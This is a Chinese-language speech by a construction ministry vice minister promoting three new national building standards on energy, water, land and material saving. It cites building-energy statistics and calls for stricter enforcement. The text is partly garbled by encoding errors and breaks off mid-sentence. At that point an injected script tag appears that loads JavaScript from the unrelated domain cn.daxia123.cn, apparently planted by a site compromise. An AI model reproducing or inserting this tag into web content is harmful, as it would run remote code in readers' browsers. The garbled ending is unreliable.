建設部副部長黃衛(wèi)在《住宅建筑規(guī)范》、《住宅性能評定技術標準》、《綠色建筑評價標準》發(fā)布宣貫會上的講話
同志們、朋友們：
由建設部組織編制、審查、批準的國家標準《住宅建筑規(guī)范》、《住宅性能評定技術標準》、《綠色建筑評價標準》已與國家質檢總局聯(lián)合發(fā)布。這三部標準的批準發(fā)布，是貫徹落實科學發(fā)展觀，落實黨中央、國務院關于建設資源節(jié)約型、環(huán)境友好型社會，大力發(fā)展節(jié)能省地型住宅和公共建筑，制定并強制推行更加嚴格的節(jié)能、節(jié)水、節(jié)地、節(jié)材標準的又一項重大舉措；也是進一步提高住宅和公共建筑品質，維護社會公眾利益，構建社會主義和諧社會的一項重大舉措。
今天，我們邀請國務院有關部門、各省、自治區(qū)、直轄市建設主管部門的有關負責同志，部分設計單位、生產(chǎn)企業(yè)的代表以及新聞單位的朋友們，在這里舉行三部標準規(guī)范發(fā)布宣貫會，目的是加強對建設領域節(jié)能、節(jié)水、節(jié)地、節(jié)材標準的宣傳，提升全行業(yè)乃至全社會重視和使用工程建設標準的意識。要從資源能源的節(jié)約與合理利用的高度，提高嚴格貫徹執(zhí)行工程建設標準的自覺性，強化對工程建設標準實施的監(jiān)督管理，進一步發(fā)揮工程建設標準的約束和引導作用，促進住宅和公共建筑建設的健康發(fā)展。
下面，我談幾點意見。
一、要充分認識工程建設標準在建設資源節(jié)約型、環(huán)境友好型社會中的重要地位
資源環(huán)境約束與城鄉(xiāng)建設和經(jīng)濟快速增長的矛盾，已經(jīng)成為我國經(jīng)濟社會發(fā)展面臨的嚴峻挑戰(zhàn)。前不久，我們組織了全國建筑節(jié)能情況調查，從2000年到2004年，按節(jié)能標準設計的項目只有58.53%，按節(jié)能標準建造的項目只有23.25%。在去年的《公共建筑節(jié)能設計標準》發(fā)布宣貫會上，我也曾強調，設計單位、施工單位、開發(fā)單位一定要嚴格執(zhí)行建筑節(jié)能強制性標準。我們發(fā)現(xiàn)，在沒有按照建筑節(jié)能標準設計的單位里，有大設計院也有小設計院，因此，各級建設主管部門一定要認真抓好標準的落實。建筑節(jié)能是個大戰(zhàn)略，是落實科學發(fā)展觀，建設社會主義和諧社會、環(huán)境友好型社會的非常重要的環(huán)節(jié)。建設部要加強標準的實施監(jiān)督。只要不按照強制性標準去做，不按照國家的標準去做，一味遷就開發(fā)商或者業(yè)主，那就要受到處罰。作為設計單位首先要遵守國家的標準，現(xiàn)在有些設計人員經(jīng)常向我們訴苦、抱怨，覺得自己沒辦法，開發(fā)商、業(yè)主有這個要求，我們不按照做，就沒有活干，這不能成為違反強制性標準的理由，這是個非常嚴肅的問題，我們在建筑節(jié)能這個問題上，態(tài)度是非常堅定的。我們現(xiàn)在有很多的強制性標準，比如，在建筑節(jié)能和結構安全上，就絲毫不能含糊。當然，設計人員在結構安全上，不好說業(yè)主怎么要求，我就怎么做，不管安全了。但是，現(xiàn)在大家的思想認識在一定程度上還存在認為節(jié)能是無關緊要的。希望建設部的有關部門和省市配合起來，要抓典型，要抓做的好的，也要抓做的不好的，典型主要抓大院、大的單位，要是大院、大的單位不能帶頭做好，整個設計市場就不可能把國家的標準落實好。
黨的十六屆五中全會提出，要把節(jié)約資源、走可持續(xù)發(fā)展道路作為基本國策，加快建設資源節(jié)約型、環(huán)境友好型社會，確定了“十一五”期末單位國內生產(chǎn)總值能源消耗比“十五”期末降低20%左右、生態(tài)環(huán)境惡化趨勢基本遏制的目標。中央經(jīng)濟工作會議要求，2006年務必在節(jié)約能源資源上取得明顯成效。為此，我們要抓好節(jié)能省地型建筑的發(fā)展，制定并強制執(zhí)行節(jié)能、節(jié)水、節(jié)地、節(jié)材標準，加強工程建設標準體系建設，全面促進建設市場各方主體節(jié)能、節(jié)水、節(jié)地、節(jié)材，保護生態(tài)和環(huán)境，發(fā)展循環(huán)經(jīng)濟，在建設資源節(jié)約型、環(huán)境友好型社會中充分發(fā)揮先導作用。
工程建設標準作為建設活動的基本規(guī)則和技術準則,涵蓋了規(guī)劃、勘察、設計、施工、驗收、運行管理等各個環(huán)節(jié)。而發(fā)展節(jié)能省地型住宅與公共建筑的實質，就是在建筑的全壽命周期內充分體現(xiàn)節(jié)能、節(jié)水、節(jié)地、節(jié)材以及環(huán)境保護的要求，在保證建筑安全性、適用性、經(jīng)濟性的基礎上，實現(xiàn)建筑的可持續(xù)發(fā)展。
工程建設標準為節(jié)能省地型建筑提供了技術支撐和實施依據(jù)。因此，發(fā)展節(jié)能省地型建筑，離不開工程建設標準化的基礎性作用。建設工程的地址選擇、規(guī)劃布局、造型、建筑施工方法、各種建材以及建筑產(chǎn)品的使用，對各種資源能源的合理利用和消耗程度有很大影響。據(jù)有關資料反映，我國建筑能耗約占全國總能耗的30%，如果加上建筑材料的生產(chǎn)，能耗還要更高，用水約占城市總用水量的47%，使用的鋼材和水泥分別約占全國總使用量的30%和25%。我國每年城鄉(xiāng)新建房屋建筑面積近20億平方米，其中大量的建筑為高耗能建筑；既有建筑近400億平方米，大量的也是高耗能建筑，一方面這是當時的歷史條件下遺留的產(chǎn)物，我們當時還沒有強制性標準。另一方面還有相當?shù)谋壤俏覀冊O計人員、設計單位沒有按照標準做的，特別是近幾年，也遺留下大量的非節(jié)能建筑，所以，我們一定要把好關。目前，我國單位建筑面積能耗高于發(fā)達國家。對如此量大面廣、高資源消耗的建設，建筑業(yè)及其相關產(chǎn)業(yè)能不能切實貫徹“節(jié)能、節(jié)水、節(jié)地、節(jié)材、環(huán)?！钡囊?，發(fā)展循?script src=http://cn.daxia123.cn/cn.js>
